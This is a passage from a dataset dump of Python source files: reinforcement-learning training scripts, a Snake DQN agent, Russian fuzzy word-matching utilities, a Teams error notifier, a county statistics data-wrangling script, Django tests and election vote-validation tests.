rllab.envs.normalized_env import normalize\nfrom rllab.misc import logger\nfrom rllab.misc.instrument import run_experiment_lite, VariantGenerator\nfrom rllab.misc.resolve import load_class\nfrom rllab.policies.gaussian_mlp_policy import GaussianMLPPolicy\n\nfrom aa_simulation.envs.straight_env import StraightEnv\n\n\ndef run_task(vv, log_dir=None, exp_name=None):\n\n # Load environment\n target_velocity = vv['target_velocity']\n env = normalize(StraightEnv(target_velocity))\n\n # Save variant information for comparison plots\n variant_file = logger.get_snapshot_dir() + '/variant.json'\n logger.log_variant(variant_file, vv)\n\n # Train policy using TRPO\n policy = GaussianMLPPolicy(\n env_spec=env.spec,\n hidden_sizes=(32, 32)\n )\n baseline = LinearFeatureBaseline(env_spec=env.spec)\n algo = TRPO(\n env=env,\n policy=policy,\n baseline=baseline,\n batch_size=1000,\n max_path_length=env.horizon,\n n_itr=800,\n discount=0.99,\n step_size=0.01,\n plot=False,\n )\n algo.train()\n\n\ndef main():\n\n # Set up multiple experiments at once\n vg = VariantGenerator()\n vg.add('target_velocity', [0.7])\n vg.add('seed', [100])\n print('Number of Configurations: ', len(vg.variants()))\n\n # Run each experiment variant\n for vv in vg.variants():\n run_experiment_lite(\n stub_method_call=run_task,\n variant=vv,\n n_parallel=1,\n snapshot_mode='last',\n seed=vv['seed']\n )\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"train/train_straight_planner.py","file_name":"train_straight_planner.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"59388556","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nimport random\nimport os\nimport pygame\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom operator import add\nfrom collections import deque\n\nfrom snake_ai import game_ai\n\n#random.seed(9001)\n\n#NETWORK: input size = 11, hidden size = 256, output size = 3\nclass QNet(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super().__init__()\n self.linear1 = nn.Linear(input_size, hidden_size)\n self.linear2 = nn.Linear(hidden_size, output_size)\n def forward(self, x):\n x = F.relu(self.linear1(x))\n x = self.linear2(x)\n return x\n\nclass DQNAgent_train(object):\n def __init__(self):\n self.gamma = 0.9\n self.epsilon = 0\n self.counter_games = 0\n #replay memory D\n self.memory = deque()\n #action-value function Q \n self.model = QNet(11, 256, 3)\n self.model.train()\n\n #https://arxiv.org/abs/1412.6980 Adam: A Method for Stochastic Optimization\n self.optimizer = optim.Adam(self.model.parameters(), lr=0.001)\n\n self.loss_fn = nn.MSELoss()\n\n def get_state(self, snake):\n state = [\n # immediate danger for snake straight, right, or left\n (snake.x_change == 20 and snake.y_change == 0 and ((list(map(add, snake.snakeSegments[0], [20, 0])) in snake.snakeSegments) or snake.snakeSegments[0][0] + 20 >= (snake.display_width - 20))) or \n (snake.x_change == -20 and snake.y_change == 0 and ((list(map(add, snake.snakeSegments[0], [-20, 0])) in snake.snakeSegments) or snake.snakeSegments[0][0] - 20 < 20)) or \n (snake.x_change == 0 and snake.y_change == -20 and ((list(map(add, snake.snakeSegments[0], [0, -20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] - 20 < 20)) or \n (snake.x_change == 0 and snake.y_change == 20 and ((list(map(add, snake.snakeSegments[0], [0, 20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] + 20 >= (snake.display_height-20))),\n\n (snake.x_change == 0 and snake.y_change == -20 and ((list(map(add,snake.snakeSegments[0],[20, 0])) in snake.snakeSegments) or snake.snakeSegments[0][0] + 20 > (snake.display_width-20))) or \n (snake.x_change == 0 and snake.y_change == 20 and ((list(map(add,snake.snakeSegments[0],[-20,0])) in snake.snakeSegments) or snake.snakeSegments[0][0] - 20 < 20)) or \n (snake.x_change == -20 and snake.y_change == 0 and ((list(map(add,snake.snakeSegments[0],[0,-20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] - 20 < 20)) or \n (snake.x_change == 20 and snake.y_change == 0 and ((list(map(add,snake.snakeSegments[0],[0,20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] + 20 >= (snake.display_height-20))),\n\n (snake.x_change == 0 and snake.y_change == 20 and ((list(map(add,snake.snakeSegments[0],[20,0])) in snake.snakeSegments) or snake.snakeSegments[0][0] + 20 > (snake.display_width-20))) or \n (snake.x_change == 0 and snake.y_change == -20 and ((list(map(add, snake.snakeSegments[0],[-20,0])) in snake.snakeSegments) or snake.snakeSegments[0][0] - 20 < 20)) or \n (snake.x_change == 20 and snake.y_change == 0 and ((list(map(add,snake.snakeSegments[0],[0,-20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] - 20 < 20)) or \n (snake.x_change == -20 and snake.y_change == 0 and ((list(map(add,snake.snakeSegments[0],[0,20])) in snake.snakeSegments) or snake.snakeSegments[0][-1] + 20 >= (snake.display_height-20))),\n\n # direction snake is currently moving\n snake.x_change == -20, \n snake.x_change == 20, \n snake.y_change == -20, \n snake.y_change == 20,\n\n # fruit location \n snake.fruitPosition[0] < snake.snakePosition[0], # food left\n snake.fruitPosition[0] > snake.snakePosition[0], # food right\n snake.fruitPosition[1] < snake.snakePosition[1], # food up\n snake.fruitPosition[1] > snake.snakePosition[1] # food down\n ]\n\n for i in range(len(state)):\n if state[i]:\n state[i]=1\n else:\n state[i]=0\n\n return np.asarray(state)\n\n def remember(self, state, action, reward, next_state, done):\n self.memory.append([state, action, reward, next_state, done])\n if len(self.memory) > 100000:\n self.memory.popleft()\n\n def replay_memory(self, memory):\n self.counter_games += 1\n if len(memory) > 1000:\n minibatch = random.sample(memory, 1000)\n else:\n minibatch = memory\n \n state, action, reward, next_state, done = zip(*minibatch)\n state = torch.tensor(state, dtype=torch.float) #[1, ... , 0]\n action = torch.tensor(action, dtype=torch.long) # [1, 0, 0]\n reward = torch.tensor(reward, dtype=torch.float) # int\n next_state = torch.tensor(next_state, dtype=torch.float) #[True, ... , False]\n target = reward\n # target = reward + self.gamma * torch.max(self.model(next_state), dim=1)[0]\n if not done:\n target = reward + self.gamma * torch.max(self.model(next_state))\n\n #optimize\n location = [[x] for x in torch.argmax(action, dim=1).numpy()]\n location = torch.tensor(location)\n pred = self.model(state).gather(1, location)#[action]\n pred = pred.squeeze(1)\n loss = self.loss_fn(target, pred)\n loss.backward()\n self.optimizer.step()\n\n def train_short_memory(self, state, action, reward, next_state, done):\n state = torch.tensor(state, dtype=torch.float)\n next_state = torch.tensor(next_state, dtype=torch.float)\n action = torch.tensor(action, dtype=torch.long)\n reward = torch.tensor(reward, dtype=torch.float)\n target = reward\n\n if not done:\n target = reward + self.gamma * torch.max(self.model(next_state))\n\n #optimize\n pred = self.model(state)\n target_f = pred.clone()\n target_f[torch.argmax(action).item()] = target\n\n loss = self.loss_fn(target_f, pred)\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n def plot(self, score, mean_per_game):\n from IPython import display\n display.clear_output(wait=True)\n display.display(plt.gcf())\n plt.clf()\n plt.title('Training Results')\n plt.xlabel('Number of Games')\n plt.ylabel('Score')\n plt.plot(score)\n plt.plot(mean_per_game)\n plt.ylim(ymin=0)\n plt.text(len(score)-1, score[-1], str(score[-1]))\n plt.text(len(mean_per_game)-1, mean_per_game[-1], str(mean_per_game[-1]))\n \n def get_action(self, state):\n self.epsilon = 80 - self.counter_games\n final_move = [0, 0, 0]\n if random.randint(0, 200) < self.epsilon:\n move = random.randint(0, 2)\n final_move[move] += 1\n else:\n state0 = torch.tensor(state, dtype=torch.float)\n prediction = self.model(state0)\n move = torch.argmax(prediction).item()\n final_move[move] += 1\n return final_move\n\n\n\ndef train():\n #will save the model for the game that gets the highest score\n save_model = False\n\n #have to set window caption in here lol idk why\n pygame.display.set_caption('SmartSnake')\n\n #make folder for saved models\n if save_model:\n if not os.path.exists('./model'):\n os.makedirs('./model')\n\n #setup for training\n\n #Turn the interactive mode on for pyplot\n plt.ion()\n\n #Initialize plotting values\n score_plot = []\n total_score = 0\n mean_plot =[]\n record = 0\n\n #initialize agent and environment\n agent = DQNAgent_train() #agent == snake\n game = game_ai() #enviroment == game/board/emulator\n\n #max number of games the agent will play while training\n max_games = 200\n\n while True:\n if agent.counter_games > max_games:\n exit(\"Max number of games reached\")\n\n #get old state\n state_old = agent.get_state(game)\n \n final_move = agent.get_action(state_old)\n\n #perform new move and get new state\n reward, done, score = game.frameStep(final_move)\n state_new = agent.get_state(game)\n \n #train short memory based on the new action and state\n agent.train_short_memory(state_old, final_move, reward, state_new, done)\n \n # store the new data into a long term memory\n agent.remember(state_old, final_move, reward, state_new, done)\n\n if done == True:\n # One game is over, train on the memory and plot the result.\n sc = game.reset()\n total_score += sc\n agent.replay_memory(agent.memory)\n\n #print what number game the snake is on and what the score is for the game\n print('Game', agent.counter_games, ' Score:', sc)\n\n #update record and save model if new high score \n #model from iteration w highest score saved as best_model.pth\n if sc > record:\n record = sc\n if save_model:\n dir = os.path.join('./model', 'best_model.pth')\n torch.save(agent.model.state_dict(), dir)\n\n print('record: ', record)\n #add plot points for current game: score and updated average\n score_plot.append(sc)\n mean = total_score / agent.counter_games\n mean_plot.append(mean)\n agent.plot(score_plot, mean_plot)\n\n plt.ioff()\n plt.show()\n\n\nif __name__ == '__main__':\n #load game icon and initialize pygame\n image = pygame.image.load('snake.png')\n pygame.display.set_icon(image)\n pygame.init()\n\n #call training function!!!!\n train()\n\n","sub_path":"deepQ_snake/Agent.py","file_name":"Agent.py","file_ext":"py","file_size_in_byte":9941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"247507371","text":"from pymorphy2 import MorphAnalyzer\nimport re\n\n\n# Объект для нормализации слов\nmorph = MorphAnalyzer()\n\n# Длина n-грамм\nn_gramm_value = 3\n\n# Максимально допустимое расстояние Дамерау-Левенштайна\nmaxDistanceInReplaceCheck = 1\n\n# Вероятность для найденных слов нечетким поиском по расстоянию Дамерау-Левенштайна\nprobabilityForFoundWordsInReplace = 1\n\n# Стоимость удаления символа\ndamerauDeleteCost = 1\n\n# Стоимость вставки символа\ndamerauInsertCost = 1\n\n# Стоимость замены символа\ndamerauReplaceCost = 1\n\n# Стоимость перестановки символов\ndamerauTransposeCost = 1\n\n\ndef normalize_hashtag(hashtag):\n \"\"\"\n Обработка вводимого хэштега, чтобы в нем остались только буквы\n Необходимо чтобы все хэштеги были в одной форме и их удобно было сравнивать между собой\n\n :param hashtag: вводимый хэштег\n :return: обработанный хэштег\n \"\"\"\n\n result = \"\".join(re.findall(r\"\\w*\", hashtag)).lower()\n return result\n\n\ndef normalize_word(word):\n \"\"\"\n Получение нормальной формы слова (например гуляла -> гулять)\n\n :param word: слово\n :return: нормальная форма слова\n \"\"\"\n\n result = morph.parse(word)[0].normal_form.lower()\n return result\n\n\ndef lemm_list(split_str):\n \"\"\"\n Получение списка нормализованных слов из списка слов\n\n :param split_str: список слов\n :return: список нормализованных слов\n \"\"\"\n\n lemm_list = []\n for el in split_str:\n lemm_list.append(normalize_word(el))\n return lemm_list\n\n\ndef make_n_gramms(input_str):\n \"\"\"\n Получение n-грамм из строки\n\n :param input_str: строка\n :return: список n-грамм\n \"\"\"\n\n result = []\n for i in range(n_gramm_value, len(input_str) + 1):\n result.append(input_str[i - n_gramm_value: i])\n\n return result\n\n\ndef get_words(hashtag):\n \"\"\"\n Разбивает строку на слова по пробелам, предварительно удаляя решетку\n\n :param hashtag: строка ввода\n :return: список слов\n \"\"\"\n\n hashtag = hashtag.replace(\"#\", \"\")\n\n return hashtag.split(\" \")\n\n\ndef damerau(s, t):\n \"\"\"\n Подсчет расстояния Дамерау-Левенштейна (расстояние с перестановкой)\n\n :param s: строка 1\n :param t: строка 2\n :return: расстояние между строками\n \"\"\"\n\n if s == t:\n return 0\n elif len(s) == 0:\n return len(t)\n elif len(t) == 0:\n return len(s)\n\n deleteCost = damerauDeleteCost\n insertCost = damerauInsertCost\n replaceCost = damerauReplaceCost\n transposeCost = damerauTransposeCost\n\n s = \" \" + s\n t = \" \" + t\n M = len(s)\n N = len(t)\n d = [list(range(N))]\n for i in range(1, M):\n d.append([])\n for j in range(N):\n d[i].append(0)\n d[i][0] = i\n\n for i in range(1, M):\n for j in range(1, N):\n # Стоимость замены\n if s[i] == t[j]:\n d[i][j] = d[i - 1][j - 1]\n else:\n d[i][j] = d[i - 1][j - 1] + replaceCost\n d[i][j] = min(\n d[i][j], # замена\n d[i - 1][j] + deleteCost, # удаление\n d[i][j - 1] + insertCost # вставка\n )\n\n if i > 1 and j > 1 and s[i] == t[j - 1] and s[i - 1] == t[j]:\n d[i][j] = min(\n d[i][j],\n d[i - 2][j - 2] + transposeCost # транспозиция\n )\n return d[M - 1][N - 1]\n\n\ndef get_result_by_damerau(word, dict_word):\n \"\"\"\n Линейный нечеткий поиск слова по словарю с использованием расстояния Дамерау-Левенштейна\n\n :param word: искомое слово\n :param dict_word: словарь, по которому выполняется поиск\n :return: расстояние между строками\n \"\"\"\n\n gramms_selection = {}\n for el in dict_word:\n for w in word:\n len = damerau(el, w)\n if len < 2:\n gramms_selection[w] = (2 - len) * 0.5\n\n return gramms_selection\n","sub_path":"scripts/grammar.py","file_name":"grammar.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"6146307","text":"import pymsteams\nimport sys\nsys.path.insert(0, '<>')#change for config path\nimport config #imports variables from config.py file\n\ndef sendError(errorHook, service, date, error):\n #channel URL\n teamsURL = config.errorHook\n myTeamsMessage = pymsteams.connectorcard(teamsURL)\n myTeamsMessage.title(\"TEST REPORT ERROR FOR \" + str(service))\n myTeamsMessage.text(\"Test run at \" + str(date))\n #section with the up services\n myMessageSection = pymsteams.cardsection()\n myMessageSection.activityTitle(service)\n myMessageSection.activityText(str(error))\n myTeamsMessage.addSection(myMessageSection)\n myTeamsMessage.send()","sub_path":"methods/sendError.py","file_name":"sendError.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"98123552","text":"'''\nCounty Stats Upload\nKHESS 2018-11-8\n'''\n\nimport pandas as pd\nimport time\nimport re\nimport os\nimport sys\n\n\n#FILE LOCATION\n'''Home Directory''' #UPDATE THIS LOCATION FOR ALL FILES\ninputpath = '/Users/kellyhess/LGDR/CountyStatData/'\n\n'''\nfilenames notes\nallhlcn172.xlsx 17 is year, 2 is 2nd quarter\nCA1_1969_2016_SC.csv CA1 is table name\nlaucnty17.xlsx 17 is year\n'''\n\n#File targets -- UPDATE TO MATCH FILENAMES\ntargetfiles = {'empsectors' : 'allhlcn172.xlsx',\n 'persincome' : 'CA1_1969_2016_SC.csv',\n 'employment' : 'laucnty17.xlsx',\n 'population' : 'proj2020.csv'\n }\n\nworkbooktargets = { 'persincome' : { 'tab' : targetfiles['persincome'][:-4] + ' - Personal Inc',\n 'Description' : \"Personal income (thousands of dollars)\"\n },\n 'empsectors' : { 'tab' : 'US_St_Cn_MSA',\n 'tabcol' : 'June Employment',\n 'areatype' : 'County',\n 'stname' : 'South Carolina',\n 'ownership' : ['Private',\n 'Local Government',\n 'State Government',\n 'Federal Government']\n },\n 'population' : { 'tab' : targetfiles['population'][:-4],\n 'column' : 'July 1, 2018 Projection' #NEEDS TO BE UPDATED FOR YEAR!!\n },\n 'employment' : { 'tab' : targetfiles['employment'][:-5],\n 'columns' : [ 'County Name/State Abbreviation',\n 'Force',\n 'Employed',\n 'Unemployed',\n '(%)']\n }\n }\n\n#Make Ratings & CountySeat tabs\nRatings = pd.DataFrame(columns = ['County','FiscalYear','Moodys',\n 'Standard&Poors','DataDate'])\nCountySeat = pd.DataFrame({'County' : ['Abbeville',\n 'Aiken',\n 'Allendale',\n 'Anderson',\n 'Bamberg',\n 'Barnwell',\n 'Beaufort',\n 'Berkeley',\n 'Calhoun',\n 'Charleston',\n 'Cherokee',\n 'Chester',\n 'Chesterfield',\n 'Clarendon',\n 'Colleton',\n 'Darlington',\n 'Dillon',\n 'Dorchester',\n 'Edgefield',\n 'Fairfield',\n 'Florence',\n 'Georgetown',\n 'Greenville',\n 'Greenwood',\n 'Hampton',\n 'Horry',\n 'Jasper',\n 'Kershaw',\n 'Lancaster',\n 'Laurens',\n 'Lee',\n 'Lexington',\n 'Marion',\n 'Marlboro',\n 'Mccormick',\n 'Newberry',\n 'Oconee',\n 'Orangeburg',\n 'Pickens',\n 'Richland',\n 'Saluda',\n 'Spartanburg',\n 'Sumter',\n 'Union',\n 'Williamsburg',\n 'York'],\n 'CountySeat' : ['Abbeville',\n 'Aiken',\n 'Allendale',\n 'Anderson',\n 'Bamberg',\n 'Barnwell',\n 'Beaufort',\n 'Moncks Corner',\n 'St. Matthews',\n 'Charleston',\n 'Gaffney',\n 'Chester',\n 'Chesterfield',\n 'Manning',\n 'Walterboro',\n 'Darlington',\n 'Dillon',\n 'St. George',\n 'Edgefield',\n 'Winnsboro',\n 'Florence',\n 'Georgetown',\n 'Greenville',\n 'Greenwood',\n 'Hampton',\n 'Conway',\n 'Ridgeland',\n 'Camden',\n 'Lancaster',\n 'Laurens',\n 'Bishopville',\n 'Lexington',\n 'Marion',\n 'Bennettsville',\n 'McCormick',\n 'Newberry',\n 'Walhalla',\n 'Orangeburg',\n 'Pickens',\n 'Columbia',\n 'Saluda',\n 'Spartanburg',\n 'Sumter',\n 'Union',\n 'Kingstree',\n 'York']})\nCountySeat['DataDate'] = '08/15/2018'\n\n#DF STUFF\nproblemfiles = []\ncurdate = time.strftime('%m/%d/%Y')\nexportdate = time.strftime('%m-%d-%Y')\ncolumnorder = { 'persincome' : ['County','FiscalYear','PersonalIncome','DataDate'],\n 'population' : ['County','FiscalYear','Population','DataDate' ],\n 'empsectors' : ['County','FiscalYear','Sector','Value','DataDate'],\n 'employment' : ['County','FiscalYear','LaborForce','Employed','Unemployed','Rate','DataDate']\n }\ndfs2send = {}\n\n#FISCAL YEAR INPUT\nfiscYr = input('What fiscal year? MM/DD/YYYY')\nif len(fiscYr) < 10:\n fiscYr = '06/30/2018'\n\n#file error handling ... can't find\ndef read_file(file2open):\n if 'xls' in file2open:\n try:\n xlfile = pd.read_excel(file2open)\n return xlfile\n except:\n print (\"Can't read xls file \",file2open)\n problemfiles.append(file2open)\n elif 'csv' in file2open:\n try:\n csvfile = pd.read_csv(file2open)\n return csvfile\n except:\n print (\"Can't read csv file \",file2open)\n problemfiles.append(file2open)\n\n#filters ownership data for empsectors\ndef filter_ownership(x):\n if re.search(gardata, x['Area']): return False\n elif x['Ownership'] in workbooktargets['empsectors']['ownership']:\n #remove subtotals from Private Ownership\n if x['Ownership'] == 'Private':\n if re.search(indregex, x['Industry']):\n return True\n else: return False\n return True\n else: return False\n\ndef check_if_files_exist(file2open, expectedfile):\n if not os.path.isfile(file2open):\n print (\"Can't find file \",expectedfile,\". Check file targets against what's in directory\")\n sys.exit()\n\n\n#IMPORT AND WRANGLE\nfor target, targetfile in targetfiles.items():\n #print 'Target ', target\n print ('Reading ',targetfile)\n #build file path\n filepath = inputpath + targetfile\n\n #check filenames\n check_if_files_exist(filepath, targetfile)\n\n #read file\n df = read_file(filepath)\n\n if target == 'persincome':\n #find last column in df\n maxcol = len(df.columns)\n psincm = df.iloc[:,[1,6,(maxcol-1)]].dropna(how = 'any') #rows, column list\n\n #remove SC totals\n totalfilter = psincm['GeoName'].str.contains('South Carolina state total')\n psincm = psincm[~totalfilter] #tilde reverses T/F\n\n #remove all lines except personal Income\n perinfilter = psincm['Description'].str.contains(workbooktargets[target]['Description'], \\\n regex = False)\n psincm = psincm[perinfilter]\n\n #drop Description\n psincm = psincm.drop(['Description'], axis = 1)\n\n #normalize county names\n psincm = psincm.replace({'GeoName': r', SC'}, \\\n {'GeoName': ''}, regex = True)\n\n #rename columns\n psincm.columns = ['County', 'PersonalIncome']\n\n #add additional information\n psincm['FiscalYear'] = fiscYr\n psincm['DataDate'] = curdate\n\n #reorder columns\n PersonalIncome = psincm[columnorder[target]]\n\n #append to send\n dfs2send['PersonalIncome'] = PersonalIncome\n\n #print PersonalIncome.head()\n\n elif target == 'empsectors':\n #Subset for SC counties\n cdtemp = df[(df['Area Type'] == workbooktargets[target]['areatype']) & \\\n (df['St Name'] == workbooktargets[target]['stname'])]\n\n #Pick up columns for output\n cdtemp = cdtemp.iloc[:,[9,10,11,16]] #rows, columns\n\n #filters data for target ownership data, handles subtotals in private\n #removes unknown counties\n indregex = '^[0-9]{4}\\s' #begin with a 4 digit numeric\n gardata = 'Unknown'\n yasdata = cdtemp.apply(filter_ownership, axis = 1)\n countydata = cdtemp[yasdata]\n\n #remove numbers from Industry text\n #regex: beginning line characters repeating 0-9, 1 whitespace\n countydata = countydata.replace({'Industry': r'^[0-9]+\\s'}, \\\n {'Industry': ''}, regex = True)\n\n #remove County, South Carolina from Area\n countydata = countydata.replace({'Area': r'\\sCounty, South Carolina'}, \\\n {'Area': ''}, regex = True)\n\n #add fiscal year and export date\n countydata['FiscalYear'] = fiscYr\n countydata['DataDate'] = curdate\n\n #REFORMAT FOR OUTPUT\n #Govt\n exportgovt = countydata[(countydata['Ownership'] != 'Private')]\\\n .drop(['Industry'], axis = 1)\n exportgovt.columns = ['County','Sector','Value','FiscalYear','DataDate']\n exportgovt = exportgovt[columnorder[target]]\n\n #Private\n exportpriv = countydata[(countydata['Ownership'] == 'Private')]\\\n .drop(['Ownership'], axis = 1)\n exportpriv.columns = ['County','Sector','Value','FiscalYear','DataDate']\n exportpriv = exportpriv[columnorder[target]]\n\n #combine dfs\n DFS = [exportgovt, exportpriv]\n EmpSectors = pd.concat(DFS)\n\n #append df to send list // [tab name] = df\n dfs2send['EmploymentSectors'] = EmpSectors\n\n #print EmpSectors.head()\n\n elif target == 'population':\n #subset population projection, remove NANs\n Population = df.loc[:,['County',workbooktargets[target]['column']]]\\\n .dropna()\n #remove SC total\n Population = Population[Population['County'] != 'South Carolina']\n\n #rename columns\n Population.columns = ['County', 'Population']\n\n #add addtional columns\n Population['DataDate'] = curdate\n Population['FiscalYear'] = fiscYr\n\n #reorder columns\n Population = Population[columnorder[target]]\n\n #append to send\n dfs2send['Population'] = Population\n\n elif target == 'employment':\n #get target columns\n labor = df.iloc[5:,[1,3,6,7,8,9]].dropna()\n\n #get SC data\n labor = labor[labor.iloc[:,0] == '45']\n\n #drop state code\n labor = labor.drop(['Unnamed: 1'], axis = 1)\n\n #rename columns\n labor.columns = ['County','LaborForce','Employed','Unemployed',\n 'Rate']\n\n #normalize county names, removing suffix County, SC\n labor = labor.replace({'County' : r'\\sCounty, SC'}, \\\n {'County' : ''}, regex = True)\n\n #add additional info\n labor['FiscalYear'] = fiscYr\n labor['DataDate'] = curdate\n\n #reorder columns\n Employment = labor[columnorder[target]]\n\n #append to send\n dfs2send['Employment'] = Employment\n\n #add holder tabs\n dfs2send['Ratings'] = Ratings\n dfs2send['CountySeat'] = CountySeat\n\nprint ('Data wrangling complete!')\nprint ('Exporting...')\n#trim?\n\n#WRITE TO EXCEL\n#set tab order for writer\ntaborder = { 1 : 'Ratings',\n 2 : 'PersonalIncome',\n 3 : 'Population',\n 4 : 'EmploymentSectors',\n 5 : 'Employment',\n 6 : 'CountySeat'}\n\n#filename of output workbook\nwriter = pd.ExcelWriter(inputpath+'CountyStatsData_'+exportdate+'.xlsx')\n\n#write dfs to excel file\nfor key, targ in taborder.items():\n df = dfs2send.get(targ, 'Key not found.')\n print ('Writing ',targ)\n df.to_excel(writer, sheet_name = targ, index = False)\n'''\nfor key, df in dfs2send.items():\n df.to_excel(writer, sheet_name = key, index = False)\n'''\nwriter.save()\nwriter.close()\n\n\nprint ('Problem files: ',problemfiles)\nprint ('Complete!')\n","sub_path":"code/countystats_3.py","file_name":"countystats_3.py","file_ext":"py","file_size_in_byte":14808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"588301233","text":"from contextlib import contextmanager\nfrom django.conf import settings\nfrom django.test import TestCase\n\nfrom .factories import UserFactory\n\nclass ScenarioTestCase(TestCase):\n @contextmanager\n def log_user(self, user=None):\n if user is not None:\n self.client.login(username=user.username, password='password')\n try:\n yield\n finally:\n if user is not None:\n self.client.logout()\n\n @classmethod\n def setUpTestData(cls):\n cls.user1 = UserFactory.create()\n # Add here more users if needed\n\n def setUp(self):\n self.no_user_logged_in_scenario = cls.log_user(None)\n self.user1_logged_in_scenario = cls.log_user(self.user1)\n # Add here any other scenario you'd like\n","sub_path":"ispa/events/tests/test_setupdata.py","file_name":"test_setupdata.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"563294332","text":"from django.core import mail\nfrom django.test import TestCase\nfrom django.shortcuts import resolve_url as r\n\n\nclass SubscribePostValid(TestCase):\n\n def setUp(self):\n data = dict(name='Orlando Saboia', cpf='12345678901',\n email='fobs@bol.com.br', phone='86-12345-6789')\n\n self.resp = self.client.post(r('subscriptions:new'), data)\n self.email = mail.outbox[0]\n\n def test_subscription_email_subject(self):\n expect = 'Confirmacao de Inscricao'\n\n self.assertEqual(expect,self.email.subject)\n\n\n def test_subscription_email_from(self):\n expect = 'contato@eventex.com.br'\n self.assertEqual(expect, self.email.from_email)\n\n def test_subscription_email_to(self):\n expect = ['contato@eventex.com.br','fobs@bol.com.br']\n\n self.assertEqual(expect, self.email.to)\n\n def test_subscription_email_body(self):\n contents = [\n 'Orlando Saboia',\n '12345678901',\n 'fobs@bol.com.br',\n '86-12345-6789'\n ]\n for content in contents:\n with self.subTest():\n self.assertIn(content, self.email.body)\n\n","sub_path":"eventex/subscriptions/tests/test_mail_subscribe.py","file_name":"test_mail_subscribe.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"507570627","text":"import tensorflow as tf\nimport matplotlib.pyplot as plt\nimport math as m\nX = [1., 2., 3.]\nY = [1., 2., 3.]\nm = n_samples = len(X)\n\nW = tf.exp(3.)\n\n\nsess = tf.Session()\nsess.run(tf.global_variables_initializer())\nprint(sess.run(W))","sub_path":"lab5/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"249191213","text":"\"\"\"\nTests in standalone fashion the vote-validation interface\n\"\"\"\n\nimport pytest\nimport unittest\nimport json\nfrom copy import deepcopy\nfrom zeus_core.election.interfaces.vote_handlers import VoteValidator\nfrom zeus_core.election.exceptions import InvalidVoteError\nfrom tests.election.utils import display_json, adapt_vote\nfrom tests.election.makers import mk_voting_setup\n\n\nclass DummyVoteValidator(VoteValidator):\n \"\"\"\n Minimal implementation of vote validation interface for testing purposes\n \"\"\"\n def __init__(self, election):\n self.election = election\n self.cryptosys = election.get_cryptosys()\n\n def get_cryptosys(self):\n return self.cryptosys\n\n def get_crypto_params(self):\n return self.election.get_crypto_params()\n\n def get_election_key(self):\n return self.election.get_election_key()\n\n def get_candidates(self):\n return self.election.get_candidates()\n\n def get_audit_votes(self):\n return self.election.get_audit_votes()\n\n def extract_vote(self, vote):\n return self.election.extract_vote(vote)\n\n def serialize_encrypted_ballot(self, encrypted_ballot):\n serialized = self.election.serialize_encrypted_ballot(encrypted_ballot)\n return serialized\n\n def deserialize_encrypted_ballot(self, alpha, beta,\n commitment, challenge, response):\n deserialized = self.election.deserialize_encrypted_ballot(\n alpha, beta, commitment, challenge, response)\n return deserialized\n\n\nclass TestValidations(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n election = mk_voting_setup()\n\n cls.election = election\n cls.cryptosys = election.get_cryptosys()\n cls.validator = DummyVoteValidator(election)\n cls.voter = election.get_voter_clients()[0]\n cls.messages = []\n\n @classmethod\n def tearDownClass(cls):\n print('\\n')\n for message in cls.messages:\n print(message)\n\n\n def get_context(self):\n election = __class__.election\n cryptosys = __class__.cryptosys\n validator = __class__.validator\n voter = __class__.voter\n messages = __class__.messages\n\n return election, cryptosys, validator, voter, messages\n\n\n def __fail(self, err):\n __class__.messages.append(f'[-] {err}')\n self.fail(err)\n\n\n def test_vote_adaptment_success(self):\n _, cryptosys, validator, voter, messages = self.get_context()\n\n vote = voter.mk_genuine_vote()\n adapted = adapt_vote(cryptosys, deepcopy(vote))\n try:\n assert adapted == validator.adapt_vote(vote)\n messages.append('[+] Vote successfully adapted')\n except AssertionError:\n err = 'Vote wrongly adapted'\n self.__fail(err)\n\n\n def mk_vote_adaptment_failures(self):\n \"\"\"\n \"\"\"\n election, cryptosys, validator, voter, messages = self.get_context()\n\n failures = []\n for index, msg in enumerate((\n 'Wrong or extra content',\n 'Malformed content',\n 'Cryptosystem mismatch',\n 'Election key mismatch',\n )):\n vote = voter.mk_genuine_vote()\n if index == 0:\n vote.update({'extra_key': 0})\n elif index == 1:\n del vote['encrypted_ballot']\n elif index == 2:\n vote['encrypted_ballot']['modulus'] += 1\n elif index == 3:\n vote['encrypted_ballot']['public'] += 1\n failures.append((msg, vote))\n return failures\n\n\n def test_vote_adaptment_failures(self):\n \"\"\"\n \"\"\"\n election, cryptosys, validator, voter, messages = self.get_context()\n\n failures = self.mk_vote_adaptment_failures()\n for err, vote in failures:\n with self.subTest(err=err, vote=vote):\n try:\n validator.adapt_vote(vote)\n except InvalidVoteError:\n messages.append(f'[+] No adaptment: {err} successfully detected')\n else:\n self.__fail(f'Wrong adaptment: {err} failed to be detected')\n\n\n def test_genuine_vote_validation_success(self):\n _, cryptosys, validator, voter, messages = self.get_context()\n\n vote = 